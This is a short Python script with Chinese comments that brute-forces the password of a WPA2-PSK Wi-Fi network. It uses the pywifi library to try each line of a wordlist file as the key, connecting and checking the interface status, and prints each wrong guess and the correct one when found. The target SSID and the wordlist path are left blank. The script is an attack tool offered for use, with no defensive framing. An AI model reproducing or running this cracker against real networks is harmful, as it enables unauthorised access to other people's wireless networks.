import time
import pywifi #只支持 linux 和 windows 不支持macOS Darwin系统
from pywifi import const
from asyncio.tasks import sleep

class PoJie():

    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi= pywifi.PyWiFi()
        self.iface = wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)

        assert self.iface.status()in\
            [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]

    def readPassWord(self):
        print("开始破解：")
        while True:
            try:
                myStr = self.file.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr)
                if bool1:
                    print("密码正确：",myStr)
                    break
                else:
                    print("密码错误："+myStr)
                sleep(3)

            except :
                continue


    def test_connect(self,findStr):
        profile = pywifi.Profile()
        profile.ssid =""
        profile.auth=const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = findStr

        self.iface.remove_all_network_profiles()
        tmp_profile = self.iface.add_network_profile(profile)
        self.iface.connect(tmp_profile)
        time.sleep(5)

        if self.iface.status() == const.IFACE_CONNECTED:
            isOk=True
        else:
            isOk = False
        self.iface.disconnect()
        time.sleep(1)

        assert self.iface.status() in\
            [const.IFACE_CONNECTED,const.IFACE_INACTIVE]
        return isOk

    def __del__(self):
        self.file.close()


path=r""
start=PoJie(path)
start.readPassWord()